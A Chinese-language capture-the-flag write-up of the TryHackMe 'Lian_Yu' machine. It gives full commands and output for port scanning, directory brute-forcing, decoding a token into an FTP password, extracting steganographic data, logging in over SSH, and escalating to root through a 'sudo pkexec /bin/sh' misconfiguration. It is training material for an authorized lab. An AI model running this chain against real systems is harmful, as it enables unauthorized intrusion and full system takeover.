【Tryhackme】Lian_Yu（图片隐写，sudo 滥用：pkexec）
免责声明
本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用，请不要将文中使用的工具和渗透思路用于任何非法用途，对此产生的一切后果，本人不承担任何责任，也不对造成的任何误用或损害负责。
服务发现
┌──(root?kali)-[~/tryhackme/Lian_Yu] └─# nmap -sV -Pn 10.10.174.43 -p- Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-04 05:22 EDT Nmap scan report for 10.10.174.43 Host is up (0.30s latency). Not shown: 65530 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0) 80/tcp open http Apache httpd 111/tcp open rpcbind 2-4 (RPC #100000) 59642/tcp open status 1 (RPC #100024) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 3585.05 seconds ftp尝试登录
尝试用anonymous和Lian_Yu登录ftp，显示Permission denied
┌──(root?kali)-[~] └─# ftp 10.10.174.43 Connected to 10.10.174.43. 220 (vsFTPd 3.0.2) Name (10.10.174.43:root): anonymous 530 Permission denied. Login failed. ftp> bye 221 Goodbye. ┌──(root?kali)-[~] └─# ftp 10.10.174.43 Connected to 10.10.174.43. 220 (vsFTPd 3.0.2) Name (10.10.174.43:root): Lian_Yu 530 Permission denied. Login failed. ftp> bye 221 Goodbye. 我们需要一个ftp的用户名
目录爆破
┌──(root?kali)-[~/dirsearch] └─# python3 dirsearch.py -e* -t 100 -w /usr/share/wordlists/Web-Content/directory-list-2.3-medium.txt -u http://10.10.174.43 _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 220545 Output File: /root/dirsearch/reports/10.10.174.43/_21-11-04_05-23-21.txt Error Log: /root/dirsearch/logs/errors-21-11-04_05-23-21.log Target: http://10.10.174.43/ [05:23:21] Starting: [05:24:57] 301 - 236B - /island -> http://10.10.174.43/island/ [05:33:51] 403 - 199B - /server-status 打开/island页面，显示一段话：
<h1> Ohhh Noo, Don't Talk............... </h1> <p> I wasn't Expecting You at this Moment. I will meet you there </p><!-- go!go!go! --> <p>You should find a way to <b> Lian_Yu</b> as we are planed. The Code Word is: </p><h2 style="color:white"> vigilante</style></h2>vigilante是正确的ftp用户名，但是我们不知道密码
┌──(root?kali)-[~] └─# ftp 10.10.174.43 Connected to 10.10.174.43. 220 (vsFTPd 3.0.2) Name (10.10.174.43:root): vigilante 331 Please specify the password. Password: 530 Login incorrect. Login failed. ftp> bye 221 Goodbye.hydra爆了半天vigilante的密码，没有结果
看提示是In numbers，结果是/island/ 下的2100文件夹
What is the Web Directory you found?
2100
2100文件夹下有一行注释：
you can avail your .ticket here but how?
继续爆破目录
看上去是要爆破.ticket 后缀的文件,用wfuzz
root@kali:~# wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://10.10.174.43/island/2100/FUZZ.ticket Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.4.5 - The Web Fuzzer * ******************************************************** Target: http://10.10.174.43/island/2100/FUZZ.ticket Total requests: 220560 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000010444: 200 6 L 11 W 71 Ch "green_arrow" 打开/island/2100/green_arrow.ticket显示
This is just a token to get into Queen's Gambit(Ship) RTy8yhBQdscX base58解密RTy8yhBQdscX得到：
!#th3h00d
用vigilante:!#th3h00d登录ftp，把所有文件下载到本地分析
┌──(root?kali)-[~/tryhackme/lianyu] └─# ftp 10.10.174.43 130 ⨯ Connected to 10.10.174.43. 220 (vsFTPd 3.0.2) Name (10.10.174.43:root): vigilante 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -alh 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 1001 1001 4096 May 05 2020 . drwxr-xr-x 4 0 0 4096 May 01 2020 .. -rw------- 1 1001 1001 44 May 01 2020 .bash_history -rw-r--r-- 1 1001 1001 220 May 01 2020 .bash_logout -rw-r--r-- 1 1001 1001 3515 May 01 2020 .bashrc -rw-r--r-- 1 0 0 2483 May 01 2020 .other_user -rw-r--r-- 1 1001 1001 675 May 01 2020 .profile -rw-r--r-- 1 0 0 511720 May 01 2020 Leave_me_alone.png -rw-r--r-- 1 0 0 549924 May 05 2020 Queen's_Gambit.png -rw-r--r-- 1 0 0 191026 May 01 2020 aa.jpg 分析
aa.jpg的照片放到谷歌图片搜索里显示人物叫Slade Wilson，好像是一个超级英雄的名字
.other_user里讲了Slade Wilson的故事
我们猜测Slade或者Wilson会是ssh的登录账号
Leave_me_alone.png是一张坏了的png照片
Queen’s_Gambit.png是一张正常的png照片
我们用sublime2打开Leave_me_alone.png,把第一行的5845 6fae 0a0d
替换成8950 4e47 0d0a
修复这张png图片，图片显示了一个密码：password
用这个密码析出aa.jpg的隐藏文件
┌──(root?kali)-[~/tryhackme/lianyu] └─# steghide extract -sf aa.jpg Enter passphrase: wrote extracted data to "ss.zip". 解压后得到两个文件passwd.txt和shado：
┌──(root?kali)-[~/tryhackme/lianyu] └─# cat passwd.txt This is your visa to Land on Lian_Yu # Just for Fun *** a small Note about it Having spent years on the island, Oliver learned how to be resourceful and set booby traps all over the island in the common event he ran into dangerous people. The island is also home to many animals, including pheasants, wild pigs and wolves. ┌──(root?kali)-[~/tryhackme/lianyu] └─# cat shado ********** what is the file name with SSH password?
shado
拿到初始shell
┌──(root?kali)-[~/tryhackme/lianyu] └─# ssh slade@10.10.174.43 slade@10.10.174.43's password: Way To SSH... Loading.........Done.. Connecting To Lian_Yu Happy Hacking ██╗ ██╗███████╗██╗ ██████╗ ██████╗ ███╗ ███╗███████╗██████╗ ██║ ██║██╔════╝██║ ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗ ██║ █╗ ██║█████╗ ██║ ██║ ██║ ██║██╔████╔██║█████╗ █████╔╝ ██║███╗██║██╔══╝ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔══╝ ██╔═══╝ ╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗ ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ ██╗ ██╗ █████╗ ███╗ ██╗ ██╗ ██╗██╗ ██╗ ██║ ██║██╔══██╗████╗ ██║ ╚██╗ ██╔╝██║ ██║ ██║ ██║███████║██╔██╗ ██║ ╚████╔╝ ██║ ██║ ██║ ██║██╔══██║██║╚██╗██║ ╚██╔╝ ██║ ██║ ███████╗██║██║ ██║██║ ╚████║███████╗██║ ╚██████╔╝ ╚══════╝╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═════╝ # slade@LianYu:~$ whoami slade slade@LianYu:~$ id uid=1000(slade) gid=1000(slade) groups=1000(slade),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),115(bluetooth) 在当前目录拿到user.txt
提权
查看当前用户的sudo权限，直接可以用pkexec提权
slade@LianYu:~$ sudo -l [sudo] password for slade: Matching Defaults entries for slade on LianYu: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User slade may run the following commands on LianYu: (root) PASSWD: /usr/bin/pkexec提权到root
slade@LianYu:~$ sudo /usr/bin/pkexec /bin/sh # id uid=0(root) gid=0(root) groups=0(root) # whoami root # cat /root/root.txt [温馨提示：高防服务器能助您降低 IT 成本，提升运维效率，使您更专注于核心业务创新。]
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